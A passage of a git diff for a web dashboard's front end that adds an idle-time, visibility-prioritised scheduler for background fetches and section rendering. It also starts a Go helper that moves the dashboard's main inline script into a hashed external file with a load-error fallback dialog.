GH_AUTH_CHECK_INTERVAL_MS); initWelcomeDialog(); initNPSSurvey(); - diff --git a/src/pkg/dashboard/static-src/manifest.txt b/src/pkg/dashboard/static-src/manifest.txt index 2f049665d1..468411c7b3 100644 --- a/src/pkg/dashboard/static-src/manifest.txt +++ b/src/pkg/dashboard/static-src/manifest.txt @@ -58,6 +58,7 @@ html/tracker.html html/faq.html glue/main-script-open.html js/core.js +js/progressive.js js/feedback.js js/sections.js js/layout.js diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 79af2c57ab..4d21b27133 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -7401,7 +7401,7 @@ } }; })(); -// Apply layout immediately and hide content until first data render. +// Apply layout immediately; keep the shell visible while live data loads. // NOTE: only body classes are set here β€” the .layout-toggle buttons do NOT // exist in the DOM yet at this point, so any label write here is a no-op. // applyLayout() (defined in the main script) is the single source of truth @@ -7487,9 +7487,6 @@ if(window.HIVE_KIOSK){ var kt=null; try { kt=new URL(window.location.href).searchParams.get('theme'); } catch(e) {} m=(kt==='light')?'light':'dark'; } if(!m)m='light'; if(m==='light'){document.body.classList.add('light-mode')} - document.body.style.opacity='0'; - document.body.style.transition='opacity 0.15s ease-in'; - setTimeout(function(){ document.body.style.opacity='1'; }, 3000); document.addEventListener('DOMContentLoaded', function(){ if (typeof applyLayout === 'function' && typeof getLayout === 'function') { applyLayout(getLayout()); @@ -7574,7 +7571,6 @@ document.addEventListener('DOMContentLoaded', renderStyleState); } })(); - </script> <div id="gh-auth-banner" class="gh-auth-banner" style="display:none"> <span id="gh-auth-msg">GitHub login required for advisory posting</span> @@ -8910,6 +8906,165 @@ <h3 class="faq-group-title">Where to get help</h3> })(); + const DASHBOARD_BACKGROUND_CONCURRENCY = 2; + const DASHBOARD_IDLE_TIMEOUT_MS = 1000; + const DASHBOARD_YIELD_MS = 32; + const DASHBOARD_BACKGROUND_DELAY_MS = 350; + const DASHBOARD_TASK_SECTIONS = Object.freeze({ + 'backend-discovery': ['debug-section'], + 'stat-sources': ['agents-section'], + 'cost': ['cost-panel'], + 'hive-advice': ['advisory-section'], + 'acmm-reco': ['advisory-section'], + 'lifecycle': ['advisory-section'], + 'pr-throughput': ['pr-throughput-section'], + 'approvals': ['approvals-section'], + 'fact-history': ['knowledge-section'], + 'overview-kpi-history': ['overview-section'], + 'history': ['overview-section', 'repos-section'], + 'budget-ignore': ['repos-section'], + 'budget-history': ['governor'], + 'nous-status': ['nous-section'], + 'public-knowledge': ['knowledge-section'], + 'knowledge-stats': ['knowledge-section'], + 'audit-log': ['audit-section'], + 'review-queue': ['review-queue-section'], + 'review-pipeline': ['review-queue-section'], + 'stage-tracker': ['activity-monitor-section'], + 'contributors': ['contributors-section'], + 'leaderboard': ['contributors-section'], + 'git-version': ['debug-section'], + 'acmm-evaluation': ['acmm-eval-section'], + 'version-check': ['debug-section'], + 'version-reload-check': ['debug-section'], + 'weekly-trends': ['overview-section'], + 'timeline': ['governor'], + 'agent-logs': ['logs-section'], + 'debug-section': ['debug-section'], + 'chat-capabilities': [], + 'chat-presence': [], + 'welcome-gh-auth': [], + 'welcome-claude-auth': [], + 'gh-auth-banner': [], + }); + const _dashboardBackgroundJobs = new Map(); + const _dashboardRenderJobs = new Map(); + let _dashboardBackgroundRunning = 0; + let _dashboardBackgroundScheduled = false; + let _dashboardRenderScheduled = false; + let _dashboardBackgroundReady = false; + + function dashboardWorkPriority(sections) { + let priority = 2; + for (const id of sections || []) { + if (window.location.hash === '#section-' + id) return 0; + const el = document.getElementById(id); + if (!el || !el.getClientRects().length) continue; + const rect = el.getBoundingClientRect(); + if (rect.bottom >= 0 && rect.top <= window.innerHeight) priority = 1; + } + return priority; + } + function dashboardNextWork(jobs) { + let next; + let priority = Infinity; + for (const job of jobs.values()) { + if (job.running) continue; + const rank = dashboardWorkPriority(job.sections); + if (rank < priority) { next = job; priority = rank; } + } + return next; + } + function dashboardIdle(callback) { + if (typeof window.requestIdleCallback === 'function') { + window.requestIdleCallback(callback, { timeout: DASHBOARD_IDLE_TIMEOUT_MS }); + } else { + setTimeout(callback, DASHBOARD_YIELD_MS); + } + } + function dashboardWakeBackground() { + if (!_dashboardBackgroundReady || document.hidden || _dashboardBackgroundScheduled || + _dashboardBackgroundRunning >= DASHBOARD_BACKGROUND_CONCURRENCY || + !dashboardNextWork(_dashboardBackgroundJobs)) return; + _dashboardBackgroundScheduled = true; + dashboardIdle(function() { + _dashboardBackgroundScheduled = false; + if (document.hidden) return; + const job = dashboardNextWork(_dashboardBackgroundJobs); + if (!job) return; + job.running = true; + _dashboardBackgroundRunning++; + function finished() { + _dashboardBackgroundJobs.delete(job.key); + _dashboardBackgroundRunning--; + dashboardWakeBackground(); + } + Promise.resolve().then(job.fn).then(function(value) { + finished(); job.resolve(value); + }, function(err) { + finished(); job.reject(err); + }); + dashboardWakeBackground(); + }); + } + // Keep a slot through JSON decoding and rendering, not just response headers. + // Repeated timer ticks share the same flight rather than adding stale work. + function dashboardScheduleWork(key, fn) { + const existing = _dashboardBackgroundJobs.get(key); + if (existing) return existing.promise; + let resolve, reject; + const promise = new Promise(function(ok, fail) { resolve = ok; reject = fail; }); + _dashboardBackgroundJobs.set(key, { + key, fn, promise, resolve, reject, running: false, + sections: DASHBOARD_TASK_SECTIONS[key] || [], + }); + dashboardWakeBackground(); + return promise; + } + function dashboardWakeRender() { + if (document.hidden || _dashboardRenderScheduled || !_dashboardRenderJobs.size) return; + _dashboardRenderScheduled = true; + dashboardIdle(function() { + _dashboardRenderScheduled = false; + if (document.hidden) return; + const job = dashboardNextWork(_dashboardRenderJobs); + if (!job) return; + _dashboardRenderJobs.delete(job.key); + if (job.snapshot && !dashboardStatusCanRender(job.snapshot)) { + dashboardWakeRender(); + return; + } + const anchor = typeof captureScrollAnchor === 'function' ? captureScrollAnchor() : null; + try { + job.fn(); + job.sections.forEach(function(id) { + if (typeof applySectionCollapse === 'function') applySectionCollapse(id); + }); + if (typeof refreshDashboardSectionSummaries === 'function') refreshDashboardSectionSummaries(); + } catch (err) { + console.error('dashboard render ' + job.key + ' failed', err); + } finally { + if (anchor && typeof restoreScrollAnchor === 'function' && + (typeof _hashScrollPending === 'undefined' || !_hashScrollPending)) restoreScrollAnchor(anchor); + dashboardWakeRender(); + } + }); + } + // Latest snapshot wins. Paint one section per idle turn so input and + // navigation can run between large cards, even when SSE arrives in a burst. + function dashboardRenderSection(key, sections, fn, snapshot) { + _dashboardRenderJobs.set(key, { key, sections, fn, snapshot }); + dashboardWakeRender(); + } + function dashboardProgressiveWake() { + dashboardWakeBackground(); + dashboardWakeRender(); + } + document.addEventListener('visibilitychange', dashboardProgressiveWake); + setTimeout(function() { + _dashboardBackgroundReady = true; + dashboardWakeBackground(); + }, DASHBOARD_BACKGROUND_DELAY_MS); // ── Console-style dashboard feedback ─────────────────────────────────── const FEEDBACK_DRAFT_KEY = 'hive-feedback-draft-v1'; const FEEDBACK_IDENTITY_KEY = 'hive-feedback-github-username-v1'; @@ -11382,7 +11537,7 @@ <h3 class="faq-group-title">Where to get help</h3> } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', start); - } else { start(); } + } else { queueMicrotask(start); } })(); const OC_TOPBAR_HEIGHT = 64; @@ -11522,6 +11677,7 @@ <h3 class="faq-group-title">Where to get help</h3> document.querySelectorAll('.oc-nav-item').forEach(i => i.classList.remove('active')); const active = document.querySelector(`.oc-nav-item[data-agent-nav="${(window.CSS && CSS.escape) ? CSS.escape(name) : String(name).replace(/["\\]/g, '\\$&')}"]`); if (active) active.classList.add('active'); + if (typeof dashboardProgressiveWake === 'function') dashboardProgressiveWake(); navPeekRestore('agents-section', { instant: true }); const expanded = navPeekExpand('agents-section'); if (!expanded && isSectionCollapsed('agents-section')) toggleSection('agents-section', { collapsed: false, persist: false, navPeek: true }); @@ -12322,7 +12478,6 @@ <h3 class="faq-group-title">Where to get help</h3> // Agent descriptions now come from the JSON status payload (agent.description field). // This empty map serves as a fallback for agents without a description in config. const AGENT_DESCRIPTIONS = {}; - // ── Config-driven agent color/sort helpers ────────────────────────────── const _DEFAULT_AGENT_COLOR = 'var(--muted)'; function _getAgentColor(name) { @@ -12955,19 +13110,28 @@ <h3 class="faq-group-title">Where to get help</h3> } function dashboardSetInterval(key, fn, ms) { dashboardClearInterval(key); - const entry = { fn, ms, timer: null }; + const entry = { key, fn, ms, timer: null }; DASHBOARD_INTERVALS[key] = entry; if (!document.hidden) dashboardStartInterval(entry); return entry; } function dashboardStartInterval(entry) { - entry.timer = setInterval(entry.fn, entry.ms); + entry.timer = setInterval(function() { + try { Promise.resolve(dashboardRunInterval(entry)).catch(console.error); } catch (err) { console.error(err); } + }, entry.ms); } function dashboardClearInterval(key) { if (!DASHBOARD_INTERVALS[key]) return; clearInterval(DASHBOARD_INTERVALS[key].timer); delete DASHBOARD_INTERVALS[key]; } + function dashboardRunInterval(entry) { + if (typeof dashboardScheduleWork === 'function' && + Object.prototype.hasOwnProperty.call(DASHBOARD_TASK_SECTIONS, entry.key)) { + return dashboardScheduleWork(entry.key, entry.fn); + } + return entry.fn(); + } document.addEventListener('visibilitychange', () => { for (const [key, entry] of Object.entries(DASHBOARD_INTERVALS)) { if (DASHBOARD_INTERVALS[key] !== entry) continue; @@ -12978,7 +13142,7 @@ <h3 class="faq-group-title">Where to get help</h3> // A refresh failure must not prevent the other panels from resuming. // Snapshot iteration also permits a callback to clear/replace itself. if (DASHBOARD_INTERVALS[key] === entry) { - try { Promise.resolve(entry.fn()).catch(console.error); } catch (err) { console.error(err); } + try { Promise.resolve(dashboardRunInterval(entry)).catch(console.error); } catch (err) { console.error(err); } } } }); @@ -13428,7 +13592,6 @@ <h3 class="faq-group-title">Where to get help</h3> capHistory(historyData); } } - // ── Cost spend-over-time (hourly / daily / weekly / monthly / custom) ── // The server keeps 30 days of CUMULATIVE all-time estimated-$ snapshots at // ~5-min resolution. We derive per-bucket SPEND on the client by taking the @@ -34453,11 +34616,11 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> return INFERENCE_MODELS[backend] || []; } } - function refreshBackendDiscovery(force) { - INFERENCE_BACKENDS.forEach(b => fetchInferenceModels(b, force)); + async function refreshBackendDiscovery(force) { + for (const backend of INFERENCE_BACKENDS) await fetchInferenceModels(backend, force); // Load configured gateway names so the backend/method pickers list them // (e.g. openrouter) alongside KNOWN_BACKENDS after the first paint. - fetchConfiguredGateways(); + await fetchConfiguredGateways(); } const CLI_MODEL_CACHE_TTL_MS = 30000; @@ -36058,9 +36221,8 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> renderCost(cost); } catch (e) { /* transient β€” leave last render in place */ } } - fetchCost(); + dashboardScheduleWork('cost', fetchCost).catch(console.error); dashboardSetInterval('cost', fetchCost, COST_POLL_MS); - // ── v4: ACMM level-up recommendation (advisory) + lifecycle timeline ── // Both are additive, read-only panels polled on their own modest interval. // They fail quietly: a transient error leaves the last render in place and @@ -38754,7 +38916,13 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> // Prime both panels and poll them on a modest independent interval. Do not // block initial paint: these run after the main poll is already wired. - function v4RefreshPanels() { fetchHiveAdvice(); fetchACMMReco(); fetchLifecycle(); fetchPRThroughput(); fetchApprovals(); } + function v4RefreshPanels() { + [['hive-advice', fetchHiveAdvice], ['acmm-reco', fetchACMMReco], + ['lifecycle', fetchLifecycle], ['pr-throughput', fetchPRThroughput], + ['approvals', fetchApprovals]].forEach(function([key, fn]) { + dashboardScheduleWork(key, fn).catch(console.error); + }); + } v4RefreshPanels(); dashboardSetInterval('v4-panels', v4RefreshPanels, V4_PANELS_POLL_MS); @@ -38794,7 +38962,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> } } catch (_) { /* dashboard unreachable β€” different problem */ } } - checkGhAuth(); + dashboardScheduleWork('gh-auth-banner', checkGhAuth).catch(console.error); dashboardSetInterval('gh-auth-banner', checkGhAuth, GH_AUTH_POLL_MS); function renderGhRateLimits(ghRateLimits) { @@ -38906,7 +39074,6 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> function setIfChanged(el, html) { if (el.innerHTML !== html) el.innerHTML = html; } - // ── Experiment Lab (Nous) rendering ────────────────────────────────────── let _nousCache = null; let _nousPollTimer = null; @@ -44210,27 +44377,22 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> const n = Number(minSeq); if (Number.isFinite(n) && n > _statusSeqFloor) _statusSeqFloor = n; } + // A snapshot accepted before a mutation can become stale while queued. + function dashboardStatusCanRender(data) { + return data.statusSeq == null || + (data.statusSeq >= _statusSeqFloor && data.statusSeq >= _lastStatusSeq && + (!data.statusInstance || !_statusInstance || data.statusInstance === _statusInstance)); + } var SCROLL_SETTLE_DELAY_MS = 500; var _deferredLoadPromise = null; function _afterPaint(callback) { _hashScrollPending = true; - if (_deferredLoadPromise) { - _deferredLoadPromise.then(function() { - requestAnimationFrame(function() { - requestAnimationFrame(function() { - callback(); - setTimeout(function() { _hashScrollPending = false; }, 200); - }); - }); - }); - } else { + requestAnimationFrame(function() { requestAnimationFrame(function() { - requestAnimationFrame(function() { - setTimeout(callback, SCROLL_SETTLE_DELAY_MS); - setTimeout(function() { _hashScrollPending = false; }, 500); - }); + setTimeout(callback, SCROLL_SETTLE_DELAY_MS); + setTimeout(function() { _hashScrollPending = false; }, SCROLL_SETTLE_DELAY_MS); }); - } + }); } const NAVBAR_CLOCK_TICK_MS = 1000; @@ -44573,7 +44735,9 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> window._lastStatus = data; // The tracker's hop cue reads which agent is on which item from this // payload; redraw the rows when that set changes (no extra fetch). - if (typeof stageTrackerWorkers === 'function' && JSON.stringify(stageTrackerWorkers(data)) !== prevWorkers && typeof renderStageTracker === 'function') renderStageTracker(); + if (typeof stageTrackerWorkers === 'function' && JSON.stringify(stageTrackerWorkers(data)) !== prevWorkers && typeof renderStageTracker === 'function') { + dashboardRenderSection('tracker-workers', ['activity-monitor-section'], () => renderStageTracker()); + } applyDashboardFeatureVisibility(); if (typeof refreshThroughputSLA === 'function') refreshThroughputSLA(); if (window._acmmOverride) { @@ -44612,25 +44776,29 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> renderSystemAlerts(data.systemAlerts || []); if (!_dropdownOpen && !_configModalOpen) { applyPinOverrides(data.agents || []); - renderAgents(data.agents || []); - renderGovernor(data.governor || {}, data.cadenceMatrix || [], data); + dashboardRenderSection('agents', ['agents-section', 'agent-activity-section'], () => { + if (!_dropdownOpen && !_configModalOpen) renderAgents(data.agents || []); + }, data); + dashboardRenderSection('governor', ['governor'], () => { + if (!_dropdownOpen && !_configModalOpen) renderGovernor(data.governor || {}, data.cadenceMatrix || [], data); + }, data); // Keep the focused agent detail in sync with fresh payloads β€” its // fast path only rebuilds when the config fingerprint changes. if (_ocSelectedAgent) ocRenderAgentDetail(); } - renderTokens(data.tokens || {}); - renderAdvisoryDigest(data.advisoryDigest || null); - renderRepos(data.repos || []); - renderSwarm(data.swarm || {}); + dashboardRenderSection('tokens', ['token-panel'], () => renderTokens(data.tokens || {}), data); + dashboardRenderSection('advisory', ['advisory-section'], () => renderAdvisoryDigest(data.advisoryDigest || null), data); + dashboardRenderSection('repos', ['repos-section', 'overview-section'], () => renderRepos(data.repos || []), data); + dashboardRenderSection('swarm', ['repos-section'], () => renderSwarm(data.swarm || {}), data); var reposBadge = document.getElementById('repos-sidebar-badge'); if (reposBadge) setSidebarCountBadge(reposBadge, (data.repos || []).length, (data.repos || []).length + ' repositories'); renderPlatform(data.platform || null); - renderHiveAdvice(data.hiveAdvice || null); - renderFleetReport(data.fleetReport || null); - renderSystemGauges(data.systemResources || null); + dashboardRenderSection('hive-advice', ['advisory-section'], () => renderHiveAdvice(data.hiveAdvice || null), data); + dashboardRenderSection('fleet-report', ['advisory-section'], () => renderFleetReport(data.fleetReport || null), data); + dashboardRenderSection('system-gauges', ['debug-section'], () => renderSystemGauges(data.systemResources || null), data); ocUpdateSidebarAgents(); - renderDebugSection(); - renderFAQ(); + dashboardRenderSection('debug', ['debug-section'], () => renderDebugSection(), data); + dashboardRenderSection('faq', ['faq-section'], () => renderFAQ(), data); initializeDashboardSectionCards(); // Restore persisted collapsed state for all collapsible sections const COLLAPSIBLE_SECTION_IDS = [ @@ -51072,10 +51240,14 @@ <h3 style="color:var(--amber);text-align:center">Configure LiteLLM</h3> const lastData = window._lastStatus || {}; if (lastData.agents) { applyPinOverrides(lastData.agents); - renderAgents(lastData.agents); + dashboardRenderSection('agents', ['agents-section', 'agent-activity-section'], () => { + if (!_dropdownOpen && !_configModalOpen) renderAgents(lastData.agents); + }); // Keep the cost table's "running agents" column live as agents // switch models or pause/resume between cost polls. - if (_lastCost) renderCost(_lastCost); + if (_lastCost) dashboardRenderSection('cost', ['cost-panel'], () => { + if (_lastCost) renderCost(_lastCost); + }); } ocUpdateFocusedState(); const _lvl = (lastData.acmmLevel != null) ? lastData.acmmLevel : 0; @@ -58978,7 +59150,7 @@ <h4 class="rt-h4">Clanker-requested PRs</h4> } return _statSources; } - ensureStatSources(); + dashboardScheduleWork('stat-sources', ensureStatSources).catch(console.error); /* statSourcesForDialog returns the source catalogue for the agent the config dialog is showing. The agent config response carries a catalogue @@ -59190,7 +59362,6 @@ <h4 style="margin:18px 0 8px">Agent Watchdog</h4> <span style="opacity:0.8">β€” fixed progression; the last step is the cap.</span> </div>`; } - // ── Watchdog activity strip (#7254) ────────────────────────────────────── // "Review the watchdog-*-observed entries in the Audit Log, then switch to // Heal" is only a data-driven decision if the data is on the page. The @@ -65565,8 +65736,8 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 chatInput.value = localStorage.getItem(CHAT_DRAFT_KEY) || ''; renderChatCheatsheet(); renderChatSuggestions(); - detectChatCapabilities(); - refreshChatPresence(); + dashboardScheduleWork('chat-capabilities', detectChatCapabilities).catch(console.error); + dashboardScheduleWork('chat-presence', refreshChatPresence).catch(console.error); dashboardSetInterval('chat-presence', refreshChatPresence, 30000); chatFab.onclick = () => { @@ -65692,7 +65863,6 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 handle.classList.remove('dragging'); }); })(); - // GitHub Device Flow Auth let ghPollTimer = null; let ghPollIntervalMs = 6000; @@ -67453,11 +67623,10 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 updateWelcomeProgress(); } - checkGHAuth(); + dashboardScheduleWork('welcome-gh-auth', checkGHAuth).catch(console.error); dashboardSetInterval('welcome-gh-auth', checkGHAuth, GH_AUTH_CHECK_INTERVAL_MS); initWelcomeDialog(); initNPSSurvey(); - // ── One-shot attention shimmy ────────────────────────────────────── // Draw the eye, once per page load, to two interactive affordances users // often miss: the ACMM level badge and the topbar Guide (Getting Started @@ -67489,7 +67658,7 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 } triggerAttentionShimmy(); - checkClaudeAuth(); + dashboardScheduleWork('welcome-claude-auth', checkClaudeAuth).catch(console.error); var CLAUDE_AUTH_CHECK_INTERVAL_MS = 60000; dashboardSetInterval('welcome-claude-auth', checkClaudeAuth, CLAUDE_AUTH_CHECK_INTERVAL_MS); @@ -67547,59 +67716,38 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 sendPresencePing(); })(); - // Deferred initialization β€” non-critical fetches staggered after first paint. - // Each entry returns a promise so anchor scrolling can wait for layout to settle. - const DEFERRED_INIT_DELAY_MS = 1500; - const DEFERRED_STAGGER_MS = 200; + // Visible sections win; slow background panels cannot delay navigation. + const DEFERRED_INIT_DELAY_MS = DASHBOARD_BACKGROUND_DELAY_MS; _deferredLoadPromise = new Promise(function(resolveAll) { setTimeout(() => { const deferred = [ - () => Promise.resolve(refreshBackendDiscovery()).then(() => fetchBackendsConfig()), - () => fetchFactHistory(), - () => fetchOverviewKPIHistory().then(() => { dashboardSetInterval('overview-kpi-history', fetchOverviewKPIHistory, HISTORY_REFRESH_MS); }), - () => fetchTrendHistory().then(() => fetchHistory()).then(() => { dashboardSetInterval('history', fetchHistory, HISTORY_REFRESH_MS); }), - () => fetch('/api/budget-ignore').then(r => r.json()).then(d => { budgetIgnored = d.ignored; }).catch(() => {}), - () => fetchBudgetHistory().then(() => { dashboardSetInterval('budget-history', fetchBudgetHistory, HISTORY_REFRESH_MS); }), - () => ensureNousPolling(), - () => fetchPublicKnowledgeSetting(), - () => fetchKnowledgeStats().then(() => { dashboardSetInterval('knowledge-stats', fetchKnowledgeStats, KB_POLL_MS); }), - () => fetchAuditLog().then(() => { dashboardSetInterval('audit-log', fetchAuditLog, AUDIT_POLL_MS); }), - () => fetchReviewQueue().then(() => { dashboardSetInterval('review-queue', fetchReviewQueue, REVIEW_QUEUE_POLL_MS); }), - () => fetchReviewPipeline().then(() => { dashboardSetInterval('review-pipeline', fetchReviewPipeline, REVIEW_PIPELINE_POLL_MS); }), - () => fetchStageTracker().then(() => { dashboardSetInterval('stage-tracker', fetchStageTracker, STAGE_TRACKER_POLL_MS); }), - () => fetchContributors().then(() => { dashboardSetInterval('contributors', fetchContributors, CONTRIBUTOR_POLL_MS); }), - () => fetchLeaderboard().then(() => { dashboardSetInterval('leaderboard', fetchLeaderboard, LEADERBOARD_POLL_MS); }), - () => fetchGitVersion().then(() => { dashboardSetInterval('git-version', fetchGitVersion, GIT_VERSION_POLL_MS); }), - () => fetchACMMEvaluation().then(() => { dashboardSetInterval('acmm-evaluation', fetchACMMEvaluation, ACMM_EVAL_INTERVAL_MS); }), - () => Promise.resolve(startVersionCheck()), - () => fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(() => {}).then(() => { dashboardSetInterval('weekly-trends', () => { fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(() => {}); }, TREND_REFRESH_MS); }), - () => fetchTimeline().then(() => { dashboardSetInterval('timeline', fetchTimeline, TIMELINE_REFRESH_MS); }), - () => fetchAgentLogs().then(() => { dashboardSetInterval('agent-logs', fetchAgentLogs, LOGS_REFRESH_MS); }), + ['backend-discovery', () => Promise.resolve(refreshBackendDiscovery()).then(() => fetchBackendsConfig())], + ['fact-history', () => fetchFactHistory()], + ['overview-kpi-history', () => fetchOverviewKPIHistory().then(() => { dashboardSetInterval('overview-kpi-history', fetchOverviewKPIHistory, HISTORY_REFRESH_MS); })], + ['history', () => fetchTrendHistory().then(() => fetchHistory()).then(() => { dashboardSetInterval('history', fetchHistory, HISTORY_REFRESH_MS); })], + ['budget-ignore', () => fetch('/api/budget-ignore').then(r => r.json()).then(d => { budgetIgnored = d.ignored; }).catch(console.error)], + ['budget-history', () => fetchBudgetHistory().then(() => { dashboardSetInterval('budget-history', fetchBudgetHistory, HISTORY_REFRESH_MS); })], + ['nous-status', () => ensureNousPolling()], + ['public-knowledge', () => fetchPublicKnowledgeSetting()], + ['knowledge-stats', () => fetchKnowledgeStats().then(() => { dashboardSetInterval('knowledge-stats', fetchKnowledgeStats, KB_POLL_MS); })], + ['audit-log', () => fetchAuditLog().then(() => { dashboardSetInterval('audit-log', fetchAuditLog, AUDIT_POLL_MS); })], + ['review-queue', () => fetchReviewQueue().then(() => { dashboardSetInterval('review-queue', fetchReviewQueue, REVIEW_QUEUE_POLL_MS); })], + ['review-pipeline', () => fetchReviewPipeline().then(() => { dashboardSetInterval('review-pipeline', fetchReviewPipeline, REVIEW_PIPELINE_POLL_MS); })], + ['stage-tracker', () => fetchStageTracker().then(() => { dashboardSetInterval('stage-tracker', fetchStageTracker, STAGE_TRACKER_POLL_MS); })], + ['contributors', () => fetchContributors().then(() => { dashboardSetInterval('contributors', fetchContributors, CONTRIBUTOR_POLL_MS); })], + ['leaderboard', () => fetchLeaderboard().then(() => { dashboardSetInterval('leaderboard', fetchLeaderboard, LEADERBOARD_POLL_MS); })], + ['git-version', () => fetchGitVersion().then(() => { dashboardSetInterval('git-version', fetchGitVersion, GIT_VERSION_POLL_MS); })], + ['acmm-evaluation', () => fetchACMMEvaluation().then(() => { dashboardSetInterval('acmm-evaluation', fetchACMMEvaluation, ACMM_EVAL_INTERVAL_MS); })], + ['version-check', () => Promise.resolve(startVersionCheck())], + ['weekly-trends', () => fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(console.error).then(() => { dashboardSetInterval('weekly-trends', () => { return fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(console.error); }, TREND_REFRESH_MS); })], + ['timeline', () => fetchTimeline().then(() => { dashboardSetInterval('timeline', fetchTimeline, TIMELINE_REFRESH_MS); })], + ['agent-logs', () => fetchAgentLogs().then(() => { dashboardSetInterval('agent-logs', fetchAgentLogs, LOGS_REFRESH_MS); })], ]; - // `Promise.resolve().then(fn)` rather than `fn()`, so ONE bad entry - // cannot strand the whole chain (#6581). `fn()` was called bare inside - // the setTimeout callback, so an entry that threw synchronously β€” or - // returned undefined and had `.then` called on it, which is what - // fetchTimeline did β€” threw out of the callback with nothing to catch - // it. That entry's promise then never settled, so Promise.all never - // settled, so resolveAll never ran and _deferredLoadPromise stayed - // pending for the life of the page. _afterPaint awaits it, so first- - // load view restoration (making #oc-agent-detail active, navigating to - // a saved section) silently never happened. - // - // Wrapping turns a synchronous throw into a rejection, which - // `.then(resolve, resolve)` already handles: the entry is recorded as - // finished-badly instead of never finishing, and the other twelve - // entries still complete. The throw is still reported below rather - // than swallowed β€” the point is that one broken entry degrades to one - // broken feature, not to a dashboard that never finishes initialising. - const allDone = deferred.map((fn, i) => - new Promise(resolve => setTimeout(() => { - Promise.resolve().then(fn).then(resolve, err => { - console.error('deferred init entry ' + i + ' failed', err); - resolve(); - }); - }, i * DEFERRED_STAGGER_MS)) + // A synchronous throw must not strand the other panels (#6581). + const allDone = deferred.map(([key, fn]) => + dashboardScheduleWork(key, () => Promise.resolve().then(fn)).catch(err => { + console.error('deferred init ' + key + ' failed', err); + }) ); Promise.all(allDone).then(resolveAll); }, DEFERRED_INIT_DELAY_MS); @@ -67801,7 +67949,6 @@ <h4>${model.editIndex === null ? 'Add Event trigger' : 'Edit Event trigger'}</h4 gh84: function (event, A) { markSentinelDirty('exemptLogins', parseSecurityList(this.value)); }, gh85: function (event, A) { markSentinelDirty('repos', parseSecurityList(this.value)); }, }; - </script> </body> </html> diff --git a/src/pkg/dashboard/webstatic/dashboard_script.go b/src/pkg/dashboard/webstatic/dashboard_script.go new file mode 100644 index 0000000000..80984d2c01 --- /dev/null +++ b/src/pkg/dashboard/webstatic/dashboard_script.go @@ -0,0 +1,165 @@ +package webstatic + +import ( + "bytes" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "net/http" + "strconv" + "sync" +) + +const ( + dashboardMainScriptMarker = "<script>\n // Wrap fetch to inject auth token for mutation requests (PUT/POST/PATCH/DELETE)" + dashboardScriptCache = "private, max-age=31536000, immutable" +) + +// This trusted inline listener is hashed with the served shell by the CSP +// layer. It must precede the external script and work without application code, +// including when a request reaches a replica with a different asset hash. +const dashboardScriptBootstrap = `<script> +(function () { + var scriptID = 'hive-dashboard-main-script'; + function isMain(event) { return event.target && event.target.id === scriptID; } + function stopListening() { + window.removeEventListener('error', onError, true); + window.removeEventListener('load', onLoad, true); + } + function onLoad(event) { if (isMain(event)) stopListening(); } + function onError(event) { + var script = document.getElementById(scriptID); + if (!isMain(event) && !(script && event.filename === script.src)) return; + stopListening(); + var root = document.getElementById('hive-dashboard-root'); + if (root) { root.hidden = true; root.setAttribute('inert', ''); } + var dialog = document.createElement('dialog'); + dialog.id = 'hive-dashboard-load-error'; + dialog.setAttribute('role', 'alertdialog'); + dialog.setAttribute('aria-labelledby', 'hive-dashboard-load-error-title'); + dialog.setAttribute('aria-describedby', 'hive-dashboard-load-error-detail'); + var title = document.createElement('h2'); + title.id = 'hive-dashboard-load-error-title'; + title.textContent = 'Dashboard could not finish loading'; + var detail = document.createElement('p'); + detail.id = 'hive-dashboard-load-error-detail'; + detail.textContent = 'The application script could not be loaded. A dashboard update or connection problem may have interrupted loading. Reload to try again. If this keeps happening, contact your hive operator.'; + var reload = document.createElement('button'); + reload.type = 'button'; + reload.textContent = 'Reload dashboard'; + reload.addEventListener('click', function () { window.location.reload(); }); + dialog.addEventListener('cancel', function (event) { event.preventDefault(); }); + dialog.appendChild(title); + dialog.appendChild(detail); + dialog.appendChild(reload); + document.body.appendChild(dialog); + if (typeof dialog.showModal === 'function') dialog.showModal(); + else dialog.setAttribute('open', ''); + reload.focus(); + } + window.addEventListener('error', onError, true); + window.addEventListener('load', onLoad, true); +})(); +</script>` + +// DashboardScript is the exact main classic script from the final branded +// document. Its full SHA-256 URL changes with its bytes, including branding. +// Register it behind the same authentication middleware as the index document. +type DashboardScript struct { + path string + integrity string + document *IndexDocument + gzipOnce sync.Once + gzipETag string +} + +// ExternalizeDashboardScript replaces only the known main script with a +// same-origin deferred classic script. Keeping one script (not a module or +// wrapper) preserves its global lexical declarations and function bindings. +// The canonical generated index remains untouched for source-string consumers. +// Unexpected markup retains the original, working inline document and its CSP. +func ExternalizeDashboardScript(raw []byte) ([]byte, *DashboardScript) { + marker := []byte(dashboardMainScriptMarker) + if bytes.Count(raw, marker) != 1 { + return raw, nil + } + start := bytes.Index(raw, marker) + bodyStart := start + len("<script>") + closeOffset := bytes.Index(raw[bodyStart:], []byte("</script>")) + if closeOffset < 0 { + return raw, nil + } + bodyEnd := bodyStart + closeOffset + end := bodyEnd + len("</script>") + // Deferring a script ahead of a later inline script would reverse their + // execution order. Only split the final script element in the document. + if 